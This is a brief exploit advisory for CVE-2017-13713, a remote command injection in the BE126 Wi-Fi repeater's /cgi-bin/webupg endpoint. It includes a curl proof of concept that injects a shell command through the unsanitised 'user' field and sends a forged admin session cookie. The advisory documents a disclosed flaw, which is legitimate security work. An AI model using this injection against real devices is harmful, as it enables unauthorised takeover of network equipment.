Wireless Repeater BE126 - Remote Code Execution

# Exploit Title:  WIFI Repeater BE126 – Remote Code Execution
# Date Publish: 09/09/2017
# Exploit Authors: Hay Mizrachi, Omer Kaspi

# Contact: [email protected], [email protected]
# Vendor Homepage: http://www.twsz.com
# Category: Webapps
# Version: 1.0
# Tested on: Windows/Ubuntu 16.04

# CVE: CVE-2017-13713

1 - Description:

HTTP POST request that contains user parmater which can give us to run
Remote Code Execution to the device.
The parameter is not sanitized at all, which cause him to be vulnerable.


2 - Proof of Concept:

curl -d "name=HTTP&url="http://www.test.com&user=;echo hacked!! >
/var/mycode;&password=a&port=8&dir=a"
--cookie "Cookie: sessionsid=XXXXX; auth=ok expires=Sun, 15-May-2112
01:45:46 GMT; langmanulset=yes;
sys_UserName=admin; expires=Mon, 31-Jan-2112 16:00:00 GMT; language=en_us"
-X POST http://beconnected.client/cgi-bin/webupg

3 - Timeline:

29/4/2017 – Vulnerability Discovered.
29/4/2017 - Vendor not responding.
03/09/2017 – Exploit published.